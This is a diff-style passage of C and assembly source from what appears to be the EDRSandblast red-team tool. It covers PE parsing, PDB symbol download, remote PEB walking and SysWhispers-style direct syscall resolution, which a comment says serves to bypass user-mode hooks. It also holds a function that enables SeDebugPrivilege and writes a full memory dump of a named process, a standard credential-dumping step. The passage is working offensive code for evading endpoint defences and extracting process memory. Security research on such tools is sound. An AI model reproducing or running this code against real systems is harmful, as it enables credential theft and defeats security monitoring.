PBYTE ptr = PE_RVA_to_Addr(pe, sectionVA + offset);
|
||||
if (!memcmp(ptr, pattern, patternSize)) {
|
||||
return ptr;
|
||||
}
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PVOID PE_search_relative_reference(PE* pe, PVOID target, DWORD relativeReferenceSize) {
|
||||
signed long long int maximum;
|
||||
signed long long int minimum;
|
||||
|
||||
switch (relativeReferenceSize)
|
||||
{
|
||||
case 1:
|
||||
minimum = MININT8;
|
||||
maximum = MAXINT8;
|
||||
break;
|
||||
case 2:
|
||||
minimum = MININT16;
|
||||
maximum = MAXINT16;
|
||||
break;
|
||||
case 4:
|
||||
minimum = MININT32;
|
||||
maximum = MAXINT32;
|
||||
break;
|
||||
default:
|
||||
minimum = 0;
|
||||
maximum = 0;
|
||||
break;
|
||||
}
|
||||
for (int i = 0; i < pe->ntHeader->FileHeader.NumberOfSections; i++) {
|
||||
DWORD sectionVA = pe->sectionHeaders[i].VirtualAddress;
|
||||
DWORD sectionSize = pe->sectionHeaders[i].Misc.VirtualSize;
|
||||
DWORD targetRVA = PE_Addr_to_RVA(pe, target);
|
||||
//TODO : implement optimization rva in range(targetRVA - maximum - relativeReferenceSize,targetRVA + minimum - relativeReferenceSize) inter range(sectionVA, sectionVA+sectionSize)
|
||||
for (DWORD rva = sectionVA; rva <= sectionVA + sectionSize - relativeReferenceSize; rva++) {
|
||||
switch (relativeReferenceSize) {
|
||||
case 1:
|
||||
if (rva + relativeReferenceSize + *(INT8*)PE_RVA_to_Addr(pe, rva) == targetRVA) {
|
||||
return PE_RVA_to_Addr(pe, rva);
|
||||
}
|
||||
break;
|
||||
case 2:
|
||||
if (rva + relativeReferenceSize + *(INT16*)PE_RVA_to_Addr(pe, rva) == targetRVA) {
|
||||
return PE_RVA_to_Addr(pe, rva);
|
||||
}
|
||||
break;
|
||||
case 4:
|
||||
if (rva + relativeReferenceSize + *(INT32*)PE_RVA_to_Addr(pe, rva) == targetRVA) {
|
||||
return PE_RVA_to_Addr(pe, rva);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
minimum = 0;
|
||||
maximum = 0;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
VOID PE_destroy(PE* pe)
|
||||
{
|
||||
if (pe->relocations) {
|
||||
free(pe->relocations);
|
||||
pe->relocations = NULL;
|
||||
}
|
||||
free(pe);
|
||||
}
|
||||
@@ -0,0 +1,171 @@
|
||||
#include <Windows.h>
|
||||
#include <shlwapi.h>
|
||||
#include <dbghelp.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "FileUtils.h"
|
||||
#include "HttpClient.h"
|
||||
#include "PEParser.h"
|
||||
|
||||
#include "PdbSymbols.h"
|
||||
|
||||
|
||||
BOOL DownloadPDB(GUID guid, DWORD age, LPCWSTR pdb_name_w, PBYTE* file, SIZE_T* file_size) {
|
||||
WCHAR full_pdb_uri[MAX_PATH] = { 0 };
|
||||
swprintf_s(full_pdb_uri, _countof(full_pdb_uri), L"/download/symbols/%s/%08X%04hX%04hX%016llX%X/%s", pdb_name_w, guid.Data1, guid.Data2, guid.Data3, _byteswap_uint64(*((DWORD64*)guid.Data4)), age, pdb_name_w);
|
||||
return HttpsDownloadFullFile(L"msdl.microsoft.com", full_pdb_uri, file, file_size);
|
||||
}
|
||||
|
||||
BOOL DownloadPDBFromPE(PE* image_pe, PBYTE* file, SIZE_T* file_size) {
|
||||
WCHAR pdb_name_w[MAX_PATH] = { 0 };
|
||||
GUID guid = image_pe->codeviewDebugInfo->guid;
|
||||
DWORD age = image_pe->codeviewDebugInfo->age;
|
||||
MultiByteToWideChar(CP_UTF8, 0, image_pe->codeviewDebugInfo->pdbName, -1, pdb_name_w, _countof(pdb_name_w));
|
||||
return DownloadPDB(guid, age, pdb_name_w, file, file_size);
|
||||
}
|
||||
|
||||
BOOL DownloadOriginalFileW(DWORD image_timestamp, DWORD image_size, LPCWSTR image_name, PBYTE* file, SIZE_T* file_size) {
|
||||
WCHAR full_pdb_uri[MAX_PATH] = { 0 };
|
||||
swprintf_s(full_pdb_uri, _countof(full_pdb_uri), L"/download/symbols/%s/%08X%X/%s", image_name, image_timestamp, image_size, image_name);
|
||||
return HttpsDownloadFullFile(L"msdl.microsoft.com", full_pdb_uri, file, file_size);
|
||||
}
|
||||
|
||||
BOOL DownloadOriginalFileFromPE(PE* image_pe, _In_opt_ LPCWSTR image_name, PBYTE* file, SIZE_T* file_size) {
|
||||
DWORD image_size = image_pe->optHeader->SizeOfImage;
|
||||
//useless check
|
||||
if (image_size & 0xFFF) {
|
||||
image_size &= ~0xFFF;
|
||||
image_size += 0x1000;
|
||||
}
|
||||
DWORD image_timestamp = image_pe->ntHeader->FileHeader.TimeDateStamp;
|
||||
WCHAR image_name_w[MAX_PATH] = { 0 };
|
||||
if (image_name == NULL) {
|
||||
if (image_pe->exportDirectory != NULL) {
|
||||
LPCSTR image_name_a = (LPCSTR)PE_RVA_to_Addr(image_pe, image_pe->exportDirectory->Name);
|
||||
MultiByteToWideChar(CP_UTF8, 0, image_name_a, -1, image_name_w, _countof(image_name_w));
|
||||
image_name = image_name_w;
|
||||
}
|
||||
else {
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
return DownloadOriginalFileW(image_timestamp, image_size, image_name, file, file_size);
|
||||
}
|
||||
|
||||
|
||||
symbol_ctx* LoadSymbolsFromPE(PE* pe) {
|
||||
symbol_ctx* ctx = calloc(1, sizeof(symbol_ctx));
|
||||
if (ctx == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
int size_needed = MultiByteToWideChar(CP_UTF8, 0, pe->codeviewDebugInfo->pdbName, -1, NULL, 0);
|
||||
ctx->pdb_name_w = calloc(size_needed, sizeof(WCHAR));
|
||||
MultiByteToWideChar(CP_UTF8, 0, pe->codeviewDebugInfo->pdbName, -1, ctx->pdb_name_w, size_needed);
|
||||
if (!FileExistsW(ctx->pdb_name_w)) {
|
||||
PBYTE file;
|
||||
SIZE_T file_size;
|
||||
BOOL res = DownloadPDBFromPE(pe, &file, &file_size);
|
||||
if (!res) {
|
||||
free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
WriteFullFileW(ctx->pdb_name_w, file, file_size);
|
||||
free(file);
|
||||
}
|
||||
DWORD64 asked_pdb_base_addr = 0x1337000;
|
||||
DWORD pdb_image_size = MAXDWORD;
|
||||
HANDLE cp = GetCurrentProcess();
|
||||
if (!SymInitialize(cp, NULL, FALSE)) {
|
||||
free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
ctx->sym_handle = cp;
|
||||
|
||||
DWORD64 pdb_base_addr = SymLoadModuleExW(cp, NULL, ctx->pdb_name_w, NULL, asked_pdb_base_addr, pdb_image_size, NULL, 0);
|
||||
while (pdb_base_addr == 0) {
|
||||
DWORD err = GetLastError();
|
||||
if (err == ERROR_SUCCESS)
|
||||
break;
|
||||
if (err == ERROR_FILE_NOT_FOUND) {
|
||||
printf_or_not("PDB file not found\n");
|
||||
SymUnloadModule(cp, asked_pdb_base_addr);//TODO : fix handle leak
|
||||
SymCleanup(cp);
|
||||
free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
printf_or_not("SymLoadModuleExW, error 0x%x\n", GetLastError());
|
||||
asked_pdb_base_addr += 0x1000000;
|
||||
pdb_base_addr = SymLoadModuleExW(cp, NULL, ctx->pdb_name_w, NULL, asked_pdb_base_addr, pdb_image_size, NULL, 0);
|
||||
}
|
||||
ctx->pdb_base_addr = pdb_base_addr;
|
||||
return ctx;
|
||||
}
|
||||
|
||||
symbol_ctx* LoadSymbolsFromImageFile(LPCWSTR image_file_path) {
|
||||
PVOID image_content = ReadFullFileW(image_file_path);
|
||||
PE* pe = PE_create(image_content, FALSE);
|
||||
symbol_ctx* ctx = LoadSymbolsFromPE(pe);
|
||||
PE_destroy(pe);
|
||||
free(image_content);
|
||||
return ctx;
|
||||
}
|
||||
|
||||
DWORD64 GetSymbolAddress(symbol_ctx* ctx, LPCSTR symbol_name) {
|
||||
SYMBOL_INFO_PACKAGE si = { 0 };
|
||||
si.si.SizeOfStruct = sizeof(SYMBOL_INFO);
|
||||
si.si.MaxNameLen = sizeof(si.name);
|
||||
SymGetTypeFromName(ctx->sym_handle, ctx->pdb_base_addr, symbol_name, &si.si);
|
||||
return si.si.Address - ctx->pdb_base_addr;
|
||||
}
|
||||
|
||||
DWORD GetFieldOffset(symbol_ctx* ctx, LPCSTR struct_name, LPCWSTR field_name) {
|
||||
SYMBOL_INFO_PACKAGE si = {0};
|
||||
si.si.SizeOfStruct = sizeof(SYMBOL_INFO);
|
||||
si.si.MaxNameLen = sizeof(si.name);
|
||||
BOOL res = SymGetTypeFromName(ctx->sym_handle, ctx->pdb_base_addr, struct_name, &si.si);
|
||||
if (!res) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
TI_FINDCHILDREN_PARAMS* childrenParam = calloc(1, sizeof(TI_FINDCHILDREN_PARAMS));
|
||||
if (childrenParam == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
res = SymGetTypeInfo(ctx->sym_handle, ctx->pdb_base_addr, si.si.TypeIndex, TI_GET_CHILDRENCOUNT, &childrenParam->Count);
|
||||
if (!res){
|
||||
return 0;
|
||||
}
|
||||
TI_FINDCHILDREN_PARAMS* ptr = realloc(childrenParam, sizeof(TI_FINDCHILDREN_PARAMS) + childrenParam->Count * sizeof(ULONG));
|
||||
if (ptr == NULL) {
|
||||
free(childrenParam);
|
||||
return 0;
|
||||
}
|
||||
childrenParam = ptr;
|
||||
res = SymGetTypeInfo(ctx->sym_handle, ctx->pdb_base_addr, si.si.TypeIndex, TI_FINDCHILDREN, childrenParam);
|
||||
DWORD offset = 0;
|
||||
for (ULONG i = 0; i < childrenParam->Count; i++) {
|
||||
ULONG childID = childrenParam->ChildId[i];
|
||||
WCHAR* name = NULL;
|
||||
SymGetTypeInfo(ctx->sym_handle, ctx->pdb_base_addr, childID, TI_GET_SYMNAME, &name);
|
||||
if (wcscmp(field_name, name)) {
|
||||
continue;
|
||||
}
|
||||
SymGetTypeInfo(ctx->sym_handle, ctx->pdb_base_addr, childID, TI_GET_OFFSET, &offset);
|
||||
break;
|
||||
}
|
||||
free(childrenParam);
|
||||
return offset;
|
||||
}
|
||||
|
||||
void UnloadSymbols(symbol_ctx* ctx, BOOL delete_pdb) {
|
||||
SymUnloadModule(ctx->sym_handle, ctx->pdb_base_addr);
|
||||
SymCleanup(ctx->sym_handle);
|
||||
if (delete_pdb) {
|
||||
DeleteFileW(ctx->pdb_name_w);
|
||||
}
|
||||
free(ctx->pdb_name_w);
|
||||
ctx->pdb_name_w = NULL;
|
||||
free(ctx);
|
||||
}
|
||||
@@ -0,0 +1,102 @@
|
||||
/*
|
||||
|
||||
--- Process dump functions.
|
||||
|
||||
*/
|
||||
#include <Windows.h>
|
||||
#include <TlHelp32.h>
|
||||
#include <minidumpapiset.h>
|
||||
#include <tchar.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "PEParser.h"
|
||||
#include "ProcessDump.h"
|
||||
|
||||
BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) {
|
||||
LUID luid;
|
||||
BOOL bRet = FALSE;
|
||||
|
||||
if (LookupPrivilegeValue(NULL, lpszPrivilege, &luid)) {
|
||||
TOKEN_PRIVILEGES tp = { 0 };
|
||||
|
||||
tp.PrivilegeCount = 1;
|
||||
tp.Privileges[0].Luid = luid;
|
||||
tp.Privileges[0].Attributes = (bEnablePrivilege) ? SE_PRIVILEGE_ENABLED : 0;
|
||||
|
||||
if (AdjustTokenPrivileges(hToken, FALSE, &tp, 0, (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) {
|
||||
bRet = (GetLastError() == ERROR_SUCCESS);
|
||||
}
|
||||
}
|
||||
return bRet;
|
||||
}
|
||||
|
||||
DWORD WINAPI dumpProcess(LPTSTR processName, TCHAR* outputDumpFile) {
|
||||
HANDLE hProcessSnap;
|
||||
HANDLE hProcess;
|
||||
PROCESSENTRY32 pe32 = { 0 };
|
||||
|
||||
//Enable the SeDebugPrivilege
|
||||
HANDLE hToken;
|
||||
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
|
||||
SetPrivilege(hToken, SE_DEBUG_NAME, TRUE);
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
|
||||
// Take a snapshot of all processes in the system.
|
||||
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hProcessSnap == INVALID_HANDLE_VALUE) {
|
||||
_tprintf_or_not(TEXT("[!] %s dump failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n"), processName);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Set the size of the structure before using it.
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
|
||||
// Retrieve information about the first process,
|
||||
// and exit if unsuccessful
|
||||
if (!Process32First(hProcessSnap, &pe32)) {
|
||||
_tprintf_or_not(TEXT("[!] %s dump failed: obtained invalid process handle\n"), processName); // show cause of failure
|
||||
CloseHandle(hProcessSnap); // clean the snapshot object
|
||||
return 1;
|
||||
}
|
||||
|
||||
//HANDLE hDbghelp = LoadLibrary(TEXT("dbgcore.dll"));
|
||||
//PE* dbghelpPe = PE_create(hDbghelp, TRUE);
|
||||
//_MiniDumpWriteDump MiniDumpWriteDumpFunc = (_MiniDumpWriteDump) PE_functionAddr(dbghelpPe, "MiniDumpWriteDump");
|
||||
|
||||
_MiniDumpWriteDump MiniDumpWriteDumpFunc = (_MiniDumpWriteDump) GetProcAddress(LoadLibrary(TEXT("dbghelp.dll")), "MiniDumpWriteDump");
|
||||
|
||||
// Now walk the snapshot of processes, and look for the specified process.
|
||||
do {
|
||||
if (_tcscmp(pe32.szExeFile, processName)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID);
|
||||
if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) {
|
||||
_tprintf_or_not(TEXT("[!] %s dump failed: couldn't open process memory (OpenProcesswith error 0x%x)\n"), processName, GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
HANDLE hDumpFile = CreateFile(outputDumpFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hDumpFile == INVALID_HANDLE_VALUE) {
|
||||
_tprintf_or_not(TEXT("[!] %s dump failed: couldn't create dump file (CreateFile)\n"), processName);
|
||||
return 1;
|
||||
}
|
||||
BOOL dumped = MiniDumpWriteDumpFunc(hProcess, pe32.th32ProcessID, hDumpFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
|
||||
if (!dumped) {
|
||||
_tprintf_or_not(TEXT("[!] %s dump failed: couldn't dump process (MiniDumpWriteDump with error 0x%x)\n"), processName, GetLastError());
|
||||
return 1;
|
||||
}
|
||||
_tprintf_or_not(TEXT("[+] %s sucessfully dumped to: %s\n"), processName, outputDumpFile);
|
||||
CloseHandle(hProcess);
|
||||
|
||||
} while (Process32Next(hProcessSnap, &pe32));
|
||||
|
||||
CloseHandle(hProcessSnap);
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI dumpProcessFromThread(PVOID* args) {
|
||||
return dumpProcess(args[0], args[1]);
|
||||
}
|
||||
@@ -0,0 +1,211 @@
|
||||
#include "RemotePEBBrowser.h"
|
||||
#include "SW2_Syscalls.h"
|
||||
|
||||
PVOID GetRVA(ULONG_PTR baseAddress, ULONG_PTR RVA) {
|
||||
return (PVOID)(baseAddress + RVA);
|
||||
}
|
||||
|
||||
// Return a pointer to the target process (PEB) Ldr's InMemoryOrderModuleList.
|
||||
PLDR_DATA_TABLE_ENTRY getPebLdrAddress(HANDLE hProcess) {
|
||||
// Get target process PEB address.
|
||||
PROCESS_BASIC_INFORMATION basicInfo = { 0 };
|
||||
basicInfo.PebBaseAddress = 0;
|
||||
PROCESSINFOCLASS ProcessInformationClass = 0;
|
||||
NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessInformationClass, &basicInfo, sizeof(PROCESS_BASIC_INFORMATION), NULL);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't get target process PEB address\n"));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
#if _WIN64
|
||||
PVOID pPebLdrAddress = (PVOID)((ULONG_PTR) basicInfo.PebBaseAddress + offsetof(PEB64, Ldr));
|
||||
#else
|
||||
PVOID pPebLdrAddress = (PVOID)((ULONG_PTR) basicInfo.PebBaseAddress + offsetof(PEB, Ldr));
|
||||
#endif
|
||||
|
||||
PPEB_LDR_DATA pprocessLdr = NULL;
|
||||
status = NtReadVirtualMemory(hProcess, pPebLdrAddress, &pprocessLdr, sizeof(PPEB_LDR_DATA), NULL);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't get target process Ldr address (NtReadVirtualMemory error 0x%x).\n"), status);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// As PLDR_DATA_TABLE_ENTRY starts with InLoadOrderLinks while PEB_LDR_DATA's InLoadOrderModuleList is at offset 0x0C.
|
||||
return (PLDR_DATA_TABLE_ENTRY)(((PBYTE)pprocessLdr) + offsetof(PEB_LDR_DATA, InLoadOrderModuleList));
|
||||
}
|
||||
|
||||
PMODULE_INFO createModuleInfo(HANDLE hProcess, PLDR_DATA_TABLE_ENTRY ldrEntry) {
|
||||
PMODULE_INFO newModuleInfo = calloc(1, sizeof(MODULE_INFO));
|
||||
|
||||
if (!newModuleInfo) {
|
||||
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't allocate new module info\n"));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
newModuleInfo->next = NULL;
|
||||
newModuleInfo->dllBase = (ULONG64)(ULONG_PTR) ldrEntry->DllBase;
|
||||
newModuleInfo->ImageSize = ldrEntry->SizeOfImage;
|
||||
newModuleInfo->timeDateStamp = ldrEntry->TimeDateStampOrLoadedImports.TimeDateStamp;
|
||||
newModuleInfo->checkSum = ldrEntry->HashLinksOrSectionPointerAndCheckSum.SectionPointerAndCheckSum.CheckSum;
|
||||
|
||||
// read the full path of the DLL
|
||||
NTSTATUS status = NtReadVirtualMemory(hProcess, (PVOID) ldrEntry->FullDllName.Buffer, newModuleInfo->dllName, ldrEntry->FullDllName.Length, NULL);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't retrieve dllName from Ldr entry (NtReadVirtualMemory error 0x%x).\n"), status);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return newModuleInfo;
|
||||
}
|
||||
|
||||
PMODULE_INFO getModulesInLdrByInMemoryOrder(HANDLE hProcess) {
|
||||
PMODULE_INFO pmoduleList = NULL;
|
||||
NTSTATUS status = FALSE;
|
||||
|
||||
// Retrieve the remote process Ldr address as pseudo PLDR_DATA_TABLE_ENTRY.
|
||||
PLDR_DATA_TABLE_ENTRY pLdrAddressInPeb = getPebLdrAddress(hProcess);
|
||||
if (!pLdrAddressInPeb) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Iterate over the linked list by InMemoryOrderModuleList order.
|
||||
LDR_DATA_TABLE_ENTRY LdrCurrentEntry;
|
||||
PLDR_DATA_TABLE_ENTRY pLdrCurrentEntryAddress = pLdrAddressInPeb;
|
||||
|
||||
while (TRUE) {
|
||||
// Add InMemoryOrderLinks offset to iterate on InMemoryOrderLinks order (by retrieving the ptr at InMemoryOrderLinks).
|
||||
status = NtReadVirtualMemory(hProcess, ((PBYTE) pLdrCurrentEntryAddress) + offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks), &pLdrCurrentEntryAddress, sizeof(PLDR_DATA_TABLE_ENTRY), NULL);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't get Ldr InLoadOrderModuleList first element address (NtReadVirtualMemory error 0x%x).\n"), status);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Substract InMemoryOrderLinks offset to be at the top of the LDR_DATA_TABLE_ENTRY struct.
|
||||
pLdrCurrentEntryAddress = (PLDR_DATA_TABLE_ENTRY)(((PBYTE)pLdrCurrentEntryAddress) - offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks));
|
||||
|
||||
// Looped back to the first entry.
|
||||
if (pLdrAddressInPeb == pLdrCurrentEntryAddress) {
|
||||
break;
|
||||
}
|
||||
|
||||
// Read LDR_DATA_TABLE_ENTRY data for the current element.
|
||||
status = NtReadVirtualMemory(hProcess, pLdrCurrentEntryAddress, &LdrCurrentEntry, sizeof(LDR_DATA_TABLE_ENTRY), NULL);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't get Ldr InLoadOrderModuleList next element (NtReadVirtualMemory error 0x%x).\n"), status);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Create module info for list using the current LDR_DATA_TABLE_ENTRY entry.
|
||||
PMODULE_INFO pnewModuleInfo = createModuleInfo(hProcess, &LdrCurrentEntry);
|
||||
if (!pnewModuleInfo) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Insert the new module info element to the module list.
|
||||
if (!pmoduleList) {
|
||||
pmoduleList = pnewModuleInfo;
|
||||
}
|
||||
else {
|
||||
PMODULE_INFO plastModule = pmoduleList;
|
||||
while (plastModule->next) {
|
||||
plastModule = plastModule->next;
|
||||
}
|
||||
plastModule->next = pnewModuleInfo;
|
||||
}
|
||||
}
|
||||
|
||||
return pmoduleList;
|
||||
}
|
||||
|
||||
PMEMORY_PAGE_INFO getMemoryPagesInfo(HANDLE hProcess, BOOL filterPage) {
|
||||
PMEMORY_PAGE_INFO prangesList = NULL;
|
||||
PMEMORY_PAGE_INFO newRange = NULL;
|
||||
PVOID baseAddress = NULL;
|
||||
PVOID currentAddress = NULL;
|
||||
ULONG64 regionSize = 0;
|
||||
MEMORY_INFORMATION_CLASS memoryInfoClass = { 0 };
|
||||
MEMORY_BASIC_INFORMATION memoryBasicInfo = { 0 };
|
||||
NTSTATUS status = STATUS_UNSUCCESSFUL;
|
||||
|
||||
while (TRUE) {
|
||||
status = NtQueryVirtualMemory(hProcess, (PVOID)currentAddress, memoryInfoClass, &memoryBasicInfo, sizeof(memoryBasicInfo), NULL);
|
||||
|
||||
// The specified base address is outside the range of accessible addresses, iteration is finished.
|
||||
if (status == STATUS_INVALID_PARAMETER) {
|
||||
break;
|
||||
}
|
||||
else if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Memory pages info retrieval failed: couldn't query memory page (NtQueryVirtualMemory error 0x%x).\n"), status);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
baseAddress = memoryBasicInfo.BaseAddress;
|
||||
regionSize = memoryBasicInfo.RegionSize;
|
||||
|
||||
// Overflow.
|
||||
if (((ULONG_PTR) baseAddress + regionSize) < (ULONG_PTR) baseAddress) {
|
||||
break;
|
||||
}
|
||||
|
||||
// Next memory range.
|
||||
currentAddress = (PVOID) GetRVA((ULONG_PTR) baseAddress, (ULONG_PTR) regionSize);
|
||||
|
||||
if (filterPage) {
|
||||
// Ignore non-commited pages.
|
||||
if (memoryBasicInfo.State != MEM_COMMIT) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Ignore mapped pages.
|
||||
if (memoryBasicInfo.Type == MEM_MAPPED) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Ignore pages with PAGE_NOACCESS. {
|
||||
if ((memoryBasicInfo.Protect & PAGE_NOACCESS) == PAGE_NOACCESS) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Ignore pages with PAGE_GUARD.
|
||||
if ((memoryBasicInfo.Protect & PAGE_GUARD) == PAGE_GUARD) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Ignore pages with PAGE_EXECUTE. {
|
||||
if ((memoryBasicInfo.Protect & PAGE_EXECUTE) == PAGE_EXECUTE) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
newRange = calloc(1, sizeof(MEMORY_PAGE_INFO));
|
||||
if (!newRange) {
|
||||
_tprintf_or_not(TEXT("[-] Memory pages info retrieval failed: couldn't allocate memory for new MEMORY_RANGE_INFO"));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
newRange->next = NULL;
|
||||
newRange->startOfMemoryPage = (ULONG_PTR)baseAddress;
|
||||
newRange->dataSize = regionSize;
|
||||
newRange->state = memoryBasicInfo.State;
|
||||
newRange->protect = memoryBasicInfo.Protect;
|
||||
newRange->type = memoryBasicInfo.Type;
|
||||
|
||||
if (!prangesList) {
|
||||
prangesList = newRange;
|
||||
}
|
||||
else {
|
||||
PMEMORY_PAGE_INFO lastRange = prangesList;
|
||||
while (lastRange->next) {
|
||||
lastRange = lastRange->next;
|
||||
}
|
||||
lastRange->next = newRange;
|
||||
}
|
||||
}
|
||||
|
||||
if (!prangesList) {
|
||||
_tprintf_or_not(TEXT("[-] Memory pages info retrieval failed: couldn't retrieve any page"));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return prangesList;
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
#include "PEBBrowse.h"
|
||||
#include "PEParser.h"
|
||||
#include "SW2_Syscalls.h"
|
||||
|
||||
// Code below is adapted from @modexpblog. Read linked article for more details.
|
||||
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
|
||||
|
||||
SW2_SYSCALL_LIST SW2_SyscallList;
|
||||
|
||||
DWORD SW2_HashSyscall(PCSTR FunctionName)
|
||||
{
|
||||
DWORD i = 0;
|
||||
DWORD Hash = SW2_SEED;
|
||||
|
||||
while (FunctionName[i])
|
||||
{
|
||||
WORD PartialName = *(WORD*)((ULONG64)FunctionName + i++);
|
||||
Hash ^= PartialName + SW2_ROR8(Hash);
|
||||
}
|
||||
|
||||
return Hash;
|
||||
}
|
||||
|
||||
int CmpSyscallEntriesByRVA(SW2_SYSCALL_ENTRY const* a, SW2_SYSCALL_ENTRY const* b) {
|
||||
if (a->RVA < b->RVA) {
|
||||
return -1;
|
||||
}
|
||||
else if (a->RVA > b->RVA) {
|
||||
return +1;
|
||||
}
|
||||
else {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
int CmpSyscallEntriesByHash(SW2_SYSCALL_ENTRY const* a, SW2_SYSCALL_ENTRY const* b) {
|
||||
if (a->Hash < b->Hash) {
|
||||
return -1;
|
||||
}
|
||||
else if (a->Hash > b->Hash) {
|
||||
return +1;
|
||||
}
|
||||
else {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL SW2_PopulateSyscallList(void)
|
||||
{
|
||||
// Return early if the list is already populated.
|
||||
if (SW2_SyscallList.Count) return TRUE;
|
||||
|
||||
PE* ntdll = PE_create(getModuleEntryFromNameW(L"ntdll.dll")->DllBase, TRUE);
|
||||
// Populate SW2_SyscallList with unsorted Zw* entries.
|
||||
DWORD i = 0;
|
||||
PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries;
|
||||
for (DWORD nameOrdinal = 0; nameOrdinal < ntdll->exportedNamesLength; nameOrdinal++) {
|
||||
LPCSTR functionName = PE_RVA_to_Addr(ntdll, ntdll->exportedNames[nameOrdinal]);
|
||||
if (*(WORD*)functionName == *((WORD*)"Zw")) {
|
||||
Entries[i].Hash = SW2_HashSyscall(functionName);
|
||||
Entries[i].RVA = PE_functionRVA(ntdll, functionName);
|
||||
i++;
|
||||
}
|
||||
}
|
||||
|
||||
// Save total number of system calls found.
|
||||
SW2_SyscallList.Count = i;
|
||||
|
||||
// Sort the list by address in ascending order.
|
||||
qsort(Entries, SW2_SyscallList.Count, sizeof(SW2_SYSCALL_ENTRY), CmpSyscallEntriesByRVA);
|
||||
|
||||
// Deduce the syscall numbers.
|
||||
for (DWORD j = 0; j < SW2_SyscallList.Count; j++) {
|
||||
SW2_SyscallList.Entries[j].SyscallNumber = j;
|
||||
}
|
||||
|
||||
// Sort the list by hash for quicker search.
|
||||
qsort(Entries, SW2_SyscallList.Count, sizeof(SW2_SYSCALL_ENTRY), CmpSyscallEntriesByHash);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash)
|
||||
{
|
||||
// Ensure SW2_SyscallList is populated.
|
||||
if (!SW2_PopulateSyscallList()) return 0xFFFFFFFF;
|
||||
|
||||
DWORD down = 0;
|
||||
DWORD up = SW2_SyscallList.Count;
|
||||
while (up - down > 1) {
|
||||
DWORD mid = (down + up) / 2;
|
||||
if (SW2_SyscallList.Entries[mid].Hash <= FunctionHash) {
|
||||
down = mid;
|
||||
}
|
||||
else {
|
||||
up = mid;
|
||||
}
|
||||
}
|
||||
if (SW2_SyscallList.Entries[down].Hash == FunctionHash) {
|
||||
return SW2_SyscallList.Entries[down].SyscallNumber;
|
||||
}
|
||||
else {
|
||||
return 0xFFFFFFFF;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
.data
|
||||
currentHash DWORD 0
|
||||
|
||||
.code
|
||||
EXTERN SW2_GetSyscallNumber: PROC
|
||||
|
||||
WhisperMain PROC
|
||||
pop rax
|
||||
mov [rsp+ 8], rcx ; Save registers.
|
||||
